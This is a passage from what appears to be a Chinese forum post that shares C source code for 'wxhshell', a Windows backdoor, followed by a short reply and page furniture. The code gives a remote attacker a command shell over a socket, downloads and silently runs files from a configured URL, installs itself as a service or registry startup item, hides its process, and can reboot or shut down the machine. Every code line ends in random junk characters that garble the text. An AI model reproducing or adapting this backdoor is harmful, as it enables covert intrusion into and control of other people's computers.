  if(DownloadFile(cmd,wsh)) J]dW1boT@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~?CS_B *  
  else * .o"ZVl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [EER4@_  
  } @C=m?7O98  
  else { L$kgK# T  
oK$ '9c5<  
    switch(cmd[0]) { :kt/$S^-  
  I qx84  
  // 帮助 L/%Y#  
  case '?': { )O&z5n7t4s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @gEr+O1K(  
    break; xvB8YW"  
  } q=+ wI"[  
  // 安装 .'&V#D0  
  case 'i': { "Vx6 #u@}  
    if(Install()) 6`Lcs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bLco:-G1E1  
    else G%$}WA]|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Td&d,;  
    break; p jd o|  
    } d+e0;!s~O  
  // 卸载 6^ab@GrN\  
  case 'r': { 83Uw  
    if(Uninstall()) K'V 2FTJI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cl_T F[n?  
    else a MsJO*;>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Soy3Xp  
    break; y] y9'5_  
    } Hr&Ere8.4p  
  // 显示 wxhshell 所在路径 E?_ zZ2  
  case 'p': { ;P8(Zf3wJb  
    char svExeFile[MAX_PATH]; ~2(]ZfO?>H  
    strcpy(svExeFile,"\n\r"); ] );NnsG  
      strcat(svExeFile,ExeFile); ^o bC4(  
        send(wsh,svExeFile,strlen(svExeFile),0); 'B,KFA<  
    break; {"t5\U6cKM  
    } \ FXp*FbQ  
  // 重启 ~?d>fR:X  
  case 'b': { ;Yv14{T!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hnd+l)ng  
    if(Boot(REBOOT)) 7gr^z)${J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL`tOD:P"  
    else { 0#^Bf[Dn  
    closesocket(wsh);  ,Y-S(  
    ExitThread(0); [4: Yi{>  
    } q~M2:SN@X  
    break; OT@yPG  
    } _@K YF)  
  // 关机 7f* RM  
  case 'd': { AOAO8%|I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j_V/GnEQ  
    if(Boot(SHUTDOWN)) kP?_kMOx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qlvwK&W<QM  
    else { TL@mM  
    closesocket(wsh); ]'g:B p  
    ExitThread(0); @k9Pz<ub  
    } 7f r>ZY^  
    break; 0MrN:M2B  
    } ^vM_kAr A  
  // 获取shell 1]Lh'.1^  
  case 's': { P7UJ-2%Y+  
    CmdShell(wsh); *uU4^E(  
    closesocket(wsh); y;QQ| =,  
    ExitThread(0); B:nK)"{  
    break; M $uf:+F  
  } A%n?}  
  // 退出 I)lC{v  
  case 'x': { xl,ryc3J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lQ$+JX;n(y  
    CloseIt(wsh); 1$(  
    break; $+jy/:]D  
    } g}Mi9Kp  
  // 离开 !5~k:1=  
  case 'q': { x_W3sS]ej  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); - wWRm  
    closesocket(wsh); ~bGC/I;W>  
    WSACleanup(); %6HX*_Mr&  
    exit(1); ?;RD u[eD  
    break; ^RDU p5,T  
        } _D JCsK|  
  } .<.#aY;N  
  } 3HKxYvc C  
;W~4L+e  
  // 提示信息 ~ k<SbFp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6klD22b2$  
} HzEGq,.  
  } ^/<|f,2  
)# PtV~64  
  return; =y<0UU  
} -=sf}4A  
Q1]Wo9j  
// shell模块句柄 *{nunb>WO  
int CmdShell(SOCKET sock) O4!9{  
{ xEC 2@J  
STARTUPINFO si; $P;UoqG<&  
ZeroMemory(&si,sizeof(si)); Man^<T%F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BfVBywty  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f:XfAH3R{  
PROCESS_INFORMATION ProcessInfo; !t% Q{`p  
char cmdline[]="cmd"; fp tIc#4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @() {/cF  
  return 0; KC]tY9 FK  
} H0+:XF\M  
2`E! |X  
// 自身启动模式 .:[`j3s)Y  
int StartFromService(void) b}}y=zO|$  
{ v8  
typedef struct #h{Nz/h+  
{ r@Nl 2  
  DWORD ExitStatus; bs P6\'\4  
  DWORD PebBaseAddress; ZMJ3NN]F  
  DWORD AffinityMask; IX.sy  
  DWORD BasePriority; V]m^7^m3  
  ULONG UniqueProcessId; - f 4>MG  
  ULONG InheritedFromUniqueProcessId; qCQu^S' iD  
}   PROCESS_BASIC_INFORMATION; I{EIHD<  
OW#_ty_ul  
PROCNTQSIP NtQueryInformationProcess; 3>M.]w6{  
}7Jp :.qk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5;(0 $4I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W }Zb~[,  
gw J}]Tf  
  HANDLE             hProcess; d EI a=e|  
  PROCESS_BASIC_INFORMATION pbi; K-6p'|  
+dM.-wW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 71*>L}H  
  if(NULL == hInst ) return 0; &#-[Y:?lA  
>Zo-wYG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B>@D,)/bT5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 ?(x>P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T\fudmj&  
Yw1Y-M  
  if (!NtQueryInformationProcess) return 0; @7-D7  
WAv@F[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Nu#]u-  
  if(!hProcess) return 0; NZfd_? 3  
'QR4~`6I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,6RQvw  
!]G jIT]Oh  
  CloseHandle(hProcess); 0JyqCb l  
l@#b;M/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K#@K"N =  
if(hProcess==NULL) return 0; [WYJrk.  
}H; ]k-)  
HMODULE hMod; XHZLW h"gS  
char procName[255]; 8;0 ^'Qr8  
unsigned long cbNeeded; ~T7\8K+ $  
 7BS/T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <\p&jk?  
9>IsqYc  
  CloseHandle(hProcess); 'f8 p7 _F  
kR_E6Fl  
if(strstr(procName,"services")) return 1; // 以服务启动 m EFWo  
[?|5 oaK  
  return 0; // 注册表启动 pj+tjF6Np  
} 4L!e=>as"1  
[d\#[l_  
// 主模块 oW8;^u  
int StartWxhshell(LPSTR lpCmdLine) f@L \E>t  
{ =@%MV(  
  SOCKET wsl; sI$:V7/!  
BOOL val=TRUE; i6FP[6H1  
  int port=0; f!(cD80  
  struct sockaddr_in door; g{]ej  
sE}sE=\  
  if(wscfg.ws_autoins) Install(); ^&HI +M  
,rXW`7!2  
port=atoi(lpCmdLine); bu;vpNa  
]Px:d+wX:  
if(port<=0) port=wscfg.ws_port; L^&do98  
4">84,-N  
  WSADATA data; N*? WUn9]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CO7CNN  
bnIf}ut-G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,znL,%s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gl Li  
  door.sin_family = AF_INET; > d^r">!,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); } cRi A  
  door.sin_port = htons(port); 7@3M]5:3g  
!SN6 ?Xy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m[{nm95QZ  
closesocket(wsl); %N!h38N2  
return 1; WGluZhRuT3  
} N:5b1TdI,  
WI%zr2T  
  if(listen(wsl,2) == INVALID_SOCKET) { eUYG96Jw  
closesocket(wsl); 4U:DJ_GN  
return 1; jjNxatAN  
} H9/XW6W,"w  
  Wxhshell(wsl); EccFx7h  
  WSACleanup(); g}^4^88=a  
m79m{!q$-  
return 0; 9  4 "f  
/]P%b K6B  
} 3KbUHSx  
~rp.jd 0l  
// 以NT服务方式启动 'w :tq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?|\0)wrRf  
{ WReYF+Uen  
DWORD   status = 0; 65 NWX8f}  
  DWORD   specificError = 0xfffffff; J*/$ywI  
;9 lqSv/6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &0?DL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H;4oZ[g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 <y/Wv  
  serviceStatus.dwWin32ExitCode     = 0; X*(gT1"t  
  serviceStatus.dwServiceSpecificExitCode = 0; `>$g y/N  
  serviceStatus.dwCheckPoint       = 0; ikeJDKSG  
  serviceStatus.dwWaitHint       = 0; @?(nwj~ s`  
+ ?[ ACZF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QJb7U5:B+  
  if (hServiceStatusHandle==0) return; @DRfNJ}  
\3,$YlG  
status = GetLastError(); %jYQ  
  if (status!=NO_ERROR) 8.6no  
{ 9N`+ O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yN%3w0v  
    serviceStatus.dwCheckPoint       = 0; Q3'(f9 x  
    serviceStatus.dwWaitHint       = 0; ] `b<"  
    serviceStatus.dwWin32ExitCode     = status; t"jIfU>'a/  
    serviceStatus.dwServiceSpecificExitCode = specificError; EY=\C$3J:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y=y/d>=w  
    return; ,K"r:)\  
  } {b\Y?t^>f  
=P@M&Yy'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ";%e~ =  
  serviceStatus.dwCheckPoint       = 0; eG a#$x?.  
  serviceStatus.dwWaitHint       = 0; Z_ iQU1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U0lqGEZ  
} $sB48LJuU'  
My`josJ`Pb  
// 处理NT服务事件,比如:启动、停止 $fq-wl-=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n3-GnVC][  
{ 4+Li)A:4.  
switch(fdwControl) p7?CeyZ-V  
{ k:&?$  
case SERVICE_CONTROL_STOP: NXC~#oG  
  serviceStatus.dwWin32ExitCode = 0; ^Y1AeJ$L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eP-R""uPw  
  serviceStatus.dwCheckPoint   = 0; r? 6Z1  
  serviceStatus.dwWaitHint     = 0; HY@kw>I  
  { 8,Q. t7v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \rB/83[;u  
  } U)IsTk~}O  
  return; 7zz(#  
case SERVICE_CONTROL_PAUSE: mH7CgI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (@N~ j&  
  break; f z/?=  
case SERVICE_CONTROL_CONTINUE: MZ >0K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g~i''lng  
  break; f D]An<  
case SERVICE_CONTROL_INTERROGATE: i75?*ld  
  break; `"^@[1  
}; =PeW$q+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N7Z(lI|a;  
} .j+2x[`l  
Huug_E+  
// 标准应用程序主函数 `SSP53R(0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q_%w l5\F  
{ m,kv EQ3  
|yId6v  
// 获取操作系统版本 * 7zN  
OsIsNt=GetOsVer(); 8Pnqmjjj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .wt>.mUH  
XQ+-+CD  
  // 从命令行安装 @h z0:ezg:  
  if(strpbrk(lpCmdLine,"iI")) Install(); _mI:Lr#dT  
Y`[HjS,  
  // 下载执行文件 8O;rp(N.n  
if(wscfg.ws_downexe) { }SJLBy0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sbq44L)  
  WinExec(wscfg.ws_filenam,SW_HIDE); wKeSPs{x  
} S|=rF<]my  
=_H*fhXS  
if(!OsIsNt) { D{Jc+Q$  
// 如果时win9x,隐藏进程并且设置为注册表启动 f0fqDmn  
HideProc(); Xy KKD&j  
StartWxhshell(lpCmdLine); s1*WK&@  
} D; 35@gtj  
else }X W#?l  
  if(StartFromService()) @zVBn~=i  
  // 以服务方式启动 "cz]bCr8  
  StartServiceCtrlDispatcher(DispatchTable); ^0BF2&Zx  
else jT wM<?  
  // 普通方式启动 L;(3u'  
  StartWxhshell(lpCmdLine); <|>:UGAR  
'8kL1  
return 0; KWZNu &)  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五